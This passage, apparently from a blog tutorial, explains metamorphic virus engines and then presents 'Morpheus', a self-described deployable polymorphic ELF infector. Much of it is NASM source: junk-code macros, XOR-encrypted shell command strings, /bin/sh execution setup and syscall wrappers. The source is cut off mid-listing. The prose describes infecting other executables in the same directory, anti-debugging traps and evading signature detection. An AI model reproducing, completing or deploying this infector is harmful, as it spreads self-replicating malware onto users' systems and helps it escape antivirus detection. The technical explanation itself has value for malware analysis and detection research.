  
  
  — Disassembly and Shrinking —
&lt;/h3&gt;

&lt;p&gt;To mutate, a virus (VX) must first disassemble itself into an internal pseudo-assembly format — a custom abstraction layer that makes original opcodes readable and transformable. It breaks apart its instruction stream, decodes jumps, calls, and conditional branches, then maps control flow into manageable data structures.&lt;/p&gt;

&lt;p&gt;After disassembly, the code is written into a memory buffer. Pointer tables are built for jump targets, call destinations, and other critical control elements to ensure relationships are not broken during rewriting.&lt;/p&gt;

&lt;p&gt;Next comes the &lt;strong&gt;shrinker&lt;/strong&gt;. This stage scans for bloated instruction sequences and compresses them into minimal equivalent forms.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Original Instruction&lt;/th&gt;
&lt;th&gt;Compressed Instruction&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MOV reg, reg&lt;/td&gt;
&lt;td&gt;NOP&lt;/td&gt;
&lt;td&gt;Dead operation with no effect&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XOR reg, reg&lt;/td&gt;
&lt;td&gt;MOV reg, 0&lt;/td&gt;
&lt;td&gt;Clear the register&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The shrinker’s job is to trim fat: fold redundant chains, clean up leftovers, and free space for the next round of mutation.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Permutation and Expansion —
&lt;/h3&gt;

&lt;p&gt;After shrinking comes the &lt;strong&gt;permutator&lt;/strong&gt;. Its task is shuffling: reordering instructions and injecting entropy while keeping logic intact, making layout unpredictable.&lt;/p&gt;

&lt;p&gt;It also replaces equivalent instructions: same result, different operation.&lt;/p&gt;

&lt;p&gt;Following permutation is the &lt;strong&gt;expander&lt;/strong&gt; — the opposite of the shrinker. It expands single instructions into equivalent two- or three-instruction sequences. Recursive expansion continuously increases code complexity.&lt;/p&gt;

&lt;p&gt;Control variables impose hard limits to prevent unbounded growth.&lt;/p&gt;

&lt;p&gt;Finally, the &lt;strong&gt;assembler&lt;/strong&gt; finishes the job: it reassembles the mutated code back into valid machine code.&lt;/p&gt;

&lt;p&gt;Only after completing this loop does the VX become a structurally unique but functionally complete new variant. Payload unchanged, appearance brand new.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Generational Generation —
&lt;/h3&gt;

&lt;p&gt;You have seen how we do this in polymorphism: injecting junk code and replacing registers. Metamorphic thinking is similar but goes much deeper.&lt;/p&gt;

&lt;p&gt;When the VX completes its self-rewrite in memory, it writes the new variant back to disk. Every execution produces a “new copy” containing random junk code and rewritten logic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhd4g54d9yf1p9bjsotcp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhd4g54d9yf1p9bjsotcp.png" alt=" " width="800" height="320"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  vx-junk-disasm
&lt;/h3&gt;

&lt;p&gt;Notice those JUNK macro calls? They are randomly scattered. Each is a marker — a hook point that can be safely modified. Smart Trash: deliberately useless, designed specifically to interfere with disassemblers and scanners.&lt;/p&gt;

&lt;p&gt;We use a dedicated scanning function to handle them. It traverses the code, looks for PUSH/POP patterns on the same registers (spaced 8 bytes apart), and marks the hit locations. Once marked, these junk segments are overwritten with new, harmless, randomized replacement sequences.&lt;/p&gt;

&lt;p&gt;This loop is the core. It hunts for JUNK sequences and replaces them with new random instruction chains on every run. Each JUNK call marks a modifiable slot — essentially a sandboxed code region for generational mutation. Behavior harmless, structure chaotic.&lt;/p&gt;

&lt;p&gt;After mutation completes, the VX propagates by copying the new variant into executable files discovered in the same directory. The copy has changed structure but unchanged behavior. True polymorphic/metamorphic malware is not about “fooling AV once,” but about continuous mutation — reshaping the binary with every “breath.” As long as logic remains intact and structure keeps changing, static detection struggles to gain a foothold.&lt;/p&gt;

&lt;p&gt;This is only the minimal viable set, covering the key mechanisms. It demonstrates the core path that allows VX code to mutate and survive. There is much more to deeper content, but this is the foundation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Morpheus
&lt;/h3&gt;

&lt;p&gt;Now it is time for the code I mentioned alongside Veil64 to make its appearance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Morpheus&lt;/strong&gt; applies metamorphic principles to a real, runnable virus infector. This is not a theoretical demonstration — it is practical and deployable. It shows how a mutation engine can work end-to-end without relying on encryptors or packers.&lt;/p&gt;

&lt;p&gt;The core idea is simple: Morpheus treats its own executable code the way a crypter treats a payload. It loads itself into memory, scans for known patterns, applies transformations, then writes out a mutated version that accomplishes the same tasks with different instruction sequences.&lt;/p&gt;

&lt;p&gt;On every run, Morpheus roughly does the following:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Extracts obfuscated strings and executes its logic
&lt;/li&gt;
&lt;li&gt;Loads its own &lt;code&gt;.text&lt;/code&gt; section
&lt;/li&gt;
&lt;li&gt;Disassembles code blocks
&lt;/li&gt;
&lt;li&gt;Identifies mutation points (NOPs, junk patterns, simple MOV/XOR operations, etc.)
&lt;/li&gt;
&lt;li&gt;Applies transformations (register shuffling, instruction replacement, code block reordering or expansion)
&lt;/li&gt;
&lt;li&gt;Generates structurally different but logically consistent code
&lt;/li&gt;
&lt;li&gt;Writes the mutated binary to a new target (usually another ELF in the same directory)
&lt;/li&gt;
&lt;li&gt;Patches headers as needed to keep it executable
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every generation is truly different — not just added junk and register swaps, but substantive structural change — while the payload and functionality remain fully intact. This allows Morpheus to self-replicate on every execution, rendering static signature detection unreliable. Combined with runtime transformation and actual rewriting of files on disk, traditional scanning methods struggle to track it consistently.&lt;/p&gt;

&lt;p&gt;Junk code is always a balancing act. In Veil64 we used relatively basic junk padding. Here is a 10-byte sequence that has zero net effect but can easily be mistaken for compiler-generated register preservation code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="nb"&gt;RAX&lt;/span&gt;
&lt;span class="nf"&gt;PUSH&lt;/span&gt; &lt;span class="nb"&gt;RBX&lt;/span&gt;
&lt;span class="nf"&gt;XCHG&lt;/span&gt; &lt;span class="nb"&gt;RAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;RBX&lt;/span&gt;
&lt;span class="nf"&gt;XCHG&lt;/span&gt; &lt;span class="nb"&gt;RAX&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;RBX&lt;/span&gt;
&lt;span class="nf"&gt;POP&lt;/span&gt; &lt;span class="nb"&gt;RBX&lt;/span&gt;
&lt;span class="nf"&gt;POP&lt;/span&gt; &lt;span class="nb"&gt;RAX&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Morpheus makes heavy use of such sequences. The JUNK macro marks these blocks, and on every execution the engine scans and replaces them with structurally different but functionally equivalent junk patterns.&lt;/p&gt;

&lt;p&gt;We implemented four register combinations for smart junk patterns. Each variant follows the same logic but uses different register pairs, producing unique byte sequences. These variants are functionally identical with zero side effects, yet their binary signatures change completely.&lt;/p&gt;

&lt;h3&gt;
  
  
  String Encryption
&lt;/h3&gt;

&lt;p&gt;All strings are encrypted to evade static signature detection. I used a simple XOR scheme: each string gets its own key, and decryption is a single XOR pass. Why XOR? Because it is fast.&lt;/p&gt;

&lt;p&gt;Decryption runs once at startup. To add extra resistance, I included INT3 trap shellcode to disrupt debugger flow.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Infection —
&lt;/h3&gt;

&lt;p&gt;During the infection stage, we scan the directory for ELF binaries. The scanner performs several basic checks to filter out garbage files and retain only viable ELF executable targets (regular files, no hidden files, valid ELF magic, executable and writable permissions).&lt;/p&gt;

&lt;p&gt;Before any overwrite, it creates a hidden backup prefixed with &lt;code&gt;.morph8&lt;/code&gt;. If the backup already exists, infection is skipped — acting as an “already morphed” marker.&lt;/p&gt;

&lt;h3&gt;
  
  
  — Morpheus Engine —
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="c1"&gt;;;&lt;/span&gt;
&lt;span class="c1"&gt;;;     M O R P H E U S   [ polymorphic ELF infector ]&lt;/span&gt;
&lt;span class="c1"&gt;;;     ------------------------------------------------&lt;/span&gt;
&lt;span class="c1"&gt;;;     stealth // mutation // syscall-only // junked //&lt;/span&gt;
&lt;span class="c1"&gt;;;     ------------------------------------------------&lt;/span&gt;
&lt;span class="c1"&gt;;;     0xBADC0DE // .morph8 // Linux x86_64 // 0xf00sec&lt;/span&gt;
&lt;span class="c1"&gt;;;&lt;/span&gt;
&lt;span class="cp"&gt;
%define PUSH 0x50
%define POP 0x58
%define MOV 0xB8
%define NOP 0x90
%define REX_W 0x48
%define XCHG_OP 0x87
%define XCHG_BASE 0xC0

%define ADD_OP 0x01
%define AND_OP 0x21
%define XOR_OP 0x31
%define OR_OP 0x09
%define SBB_OP 0x19
%define SUB_OP 0x29

%define JUNKLEN 10
&lt;/span&gt;
&lt;span class="c1"&gt;; push rax,rbx; xchg rax,rbx; xchg rax,rbx; pop rbx,rax&lt;/span&gt;
&lt;span class="cp"&gt;%macro JUNK 0
&lt;/span&gt;    &lt;span class="kd"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x87&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x5B&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x58&lt;/span&gt;
&lt;span class="cp"&gt;%endmacro
&lt;/span&gt;
&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.data&lt;/span&gt;

&lt;span class="c1"&gt;; ELF header&lt;/span&gt;
&lt;span class="nf"&gt;ELF_MAGIC&lt;/span&gt;       &lt;span class="nv"&gt;dd&lt;/span&gt; &lt;span class="mh"&gt;0x464C457F&lt;/span&gt;
&lt;span class="no"&gt;ELF_CLASS64&lt;/span&gt;&lt;span class="kd"&gt;     equ&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="no"&gt;ELF_DATA2LSB&lt;/span&gt;&lt;span class="kd"&gt;    equ&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="no"&gt;ELF_VERSION&lt;/span&gt;&lt;span class="kd"&gt;     equ&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="no"&gt;ELF_OSABI_SYSV&lt;/span&gt;&lt;span class="kd"&gt;  equ&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="no"&gt;ET_EXEC&lt;/span&gt;&lt;span class="kd"&gt;         equ&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="no"&gt;ET_DYN&lt;/span&gt;&lt;span class="kd"&gt;          equ&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="no"&gt;EM_X86_64&lt;/span&gt;&lt;span class="kd"&gt;       equ&lt;/span&gt; &lt;span class="mi"&gt;62&lt;/span&gt;

&lt;span class="nf"&gt;prefixes&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="nv"&gt;ADD_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;AND_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;XOR_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;OR_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SBB_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SUB_OP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="nf"&gt;bin_name&lt;/span&gt; &lt;span class="nv"&gt;times&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nf"&gt;orig_exec_name&lt;/span&gt; &lt;span class="nv"&gt;times&lt;/span&gt; &lt;span class="mi"&gt;256&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="nf"&gt;msg_cat&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="err"&gt;"&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="nv"&gt;_&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt; &lt;span class="s"&gt;",10
        db "&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;o.o&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s"&gt;",10
        db "&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="err"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;                    &lt;span class="c1"&gt;; payload&lt;/span&gt;
&lt;span class="nf"&gt;current_dir&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="s"&gt;"./"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="c1"&gt;; encrypted strings&lt;/span&gt;
&lt;span class="nf"&gt;cmhd&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x36&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x3A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x31&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7E&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x75&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x26&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;     &lt;span class="c1"&gt;; "chmod +x %s"&lt;/span&gt;
&lt;span class="nf"&gt;tchh&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0xAF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xB4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xE9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xBF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCC&lt;/span&gt;     &lt;span class="c1"&gt;; "chmod +x %s"&lt;/span&gt;
&lt;span class="nf"&gt;touc&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0xDE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xC2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xD9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;                         &lt;span class="c1"&gt;; "touch %s"&lt;/span&gt;
&lt;span class="nf"&gt;cpcm&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x9C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xDA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x8C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;                         &lt;span class="c1"&gt;; "cp %s %s"&lt;/span&gt;
&lt;span class="nf"&gt;hidd&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x59&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x05&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x07&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x4F&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x77&lt;/span&gt;                               &lt;span class="c1"&gt;; ".morph8"&lt;/span&gt;
&lt;span class="nf"&gt;exec&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0x1D&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1C&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x33&lt;/span&gt;                                                 &lt;span class="c1"&gt;; "./%s"&lt;/span&gt;
&lt;span class="nf"&gt;vxxe&lt;/span&gt;                &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0xFE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xF0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x88&lt;/span&gt;                                                       &lt;span class="c1"&gt;; "vxx"&lt;/span&gt;

&lt;span class="nf"&gt;xor_keys&lt;/span&gt;            &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mh"&gt;0xAA&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x55&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xCC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x88&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x77&lt;/span&gt;
&lt;span class="nf"&gt;vierge_val&lt;/span&gt;          &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;                                                                           &lt;span class="c1"&gt;; first generation marker&lt;/span&gt;
&lt;span class="nf"&gt;signme&lt;/span&gt;              &lt;span class="nv"&gt;dd&lt;/span&gt; &lt;span class="mh"&gt;0xF00C0DE&lt;/span&gt;                                                                   &lt;span class="c1"&gt;; PRNG seed&lt;/span&gt;

&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.bss&lt;/span&gt;
    &lt;span class="nf"&gt;code&lt;/span&gt;            &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;65536&lt;/span&gt;      &lt;span class="c1"&gt;; viral body&lt;/span&gt;
    &lt;span class="nf"&gt;codelen&lt;/span&gt;         &lt;span class="nv"&gt;resq&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
    &lt;span class="nf"&gt;vierge&lt;/span&gt;          &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;          &lt;span class="c1"&gt;; generation flag&lt;/span&gt;
    &lt;span class="nf"&gt;dir_buf&lt;/span&gt;         &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;4096&lt;/span&gt;
    &lt;span class="nf"&gt;temp_buf&lt;/span&gt;        &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;
    &lt;span class="nf"&gt;elf_header&lt;/span&gt;      &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;

&lt;span class="c1"&gt;; runtime decrypted strings&lt;/span&gt;
&lt;span class="nf"&gt;touch_cmd_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;   &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;chmod_cmd_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;   &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;touch_chmod_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;exec_cmd_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;    &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;cp_cmd_fmt&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;      &lt;span class="mi"&gt;32&lt;/span&gt;
&lt;span class="nf"&gt;vxx_str&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;         &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="nf"&gt;hidden_prefix&lt;/span&gt; &lt;span class="nv"&gt;resb&lt;/span&gt;   &lt;span class="mi"&gt;16&lt;/span&gt;

&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.text&lt;/span&gt;
    &lt;span class="nf"&gt;global&lt;/span&gt; &lt;span class="nv"&gt;_start&lt;/span&gt;

&lt;span class="cp"&gt;%define SYS_read      0
%define SYS_write     1
%define SYS_open      2
%define SYS_close     3
%define SYS_exit      60
%define SYS_lseek     8
%define SYS_getdents64 217
%define SYS_access    21
%define SYS_getrandom 318
%define SYS_execve    59
%define SYS_fstat     5
%define SYS_mmap      9
%define SYS_brk       12
%define SYS_fork      57
%define SYS_wait4     61

%define F_OK 0
%define X_OK 1
%define W_OK 2

%define O_RDONLY 0
%define O_WRONLY 1
%define O_RDWR   2
%define O_CREAT  64
%define O_TRUNC  512

%define PROT_READ  1
%define PROT_WRITE 2
%define MAP_PRIVATE 2
%define MAP_ANONYMOUS 32
&lt;/span&gt;
&lt;span class="nf"&gt;section&lt;/span&gt; &lt;span class="nv"&gt;.rodata&lt;/span&gt;
    &lt;span class="nf"&gt;shell_path&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt; &lt;span class="err"&gt;"&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;sh&lt;/span&gt;&lt;span class="s"&gt;",0
    sh_arg0 db "&lt;/span&gt;&lt;span class="nv"&gt;sh&lt;/span&gt;&lt;span class="s"&gt;",0
    sh_arg1 db "&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;c&lt;/span&gt;&lt;span class="err"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="c1"&gt;; syscall wrappers with junk insertion&lt;/span&gt;

&lt;span class="nl"&gt;sys_write:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_write&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_read:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_read&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_open:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_open&lt;/span&gt;
    &lt;span class="nf"&gt;JUNK&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_close:&lt;/span&gt;
    &lt;span class="nf"&gt;mov&lt;/span&gt; &lt;span class="nb"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;SYS_close&lt;/span&gt;
    &lt;span class="nf"&gt;syscall&lt;/span&gt;
    &lt;span class="nf"&gt;ret&lt;/span&gt;

&lt;span class="nl"&gt;sys_lseek:&lt;/span&gt;
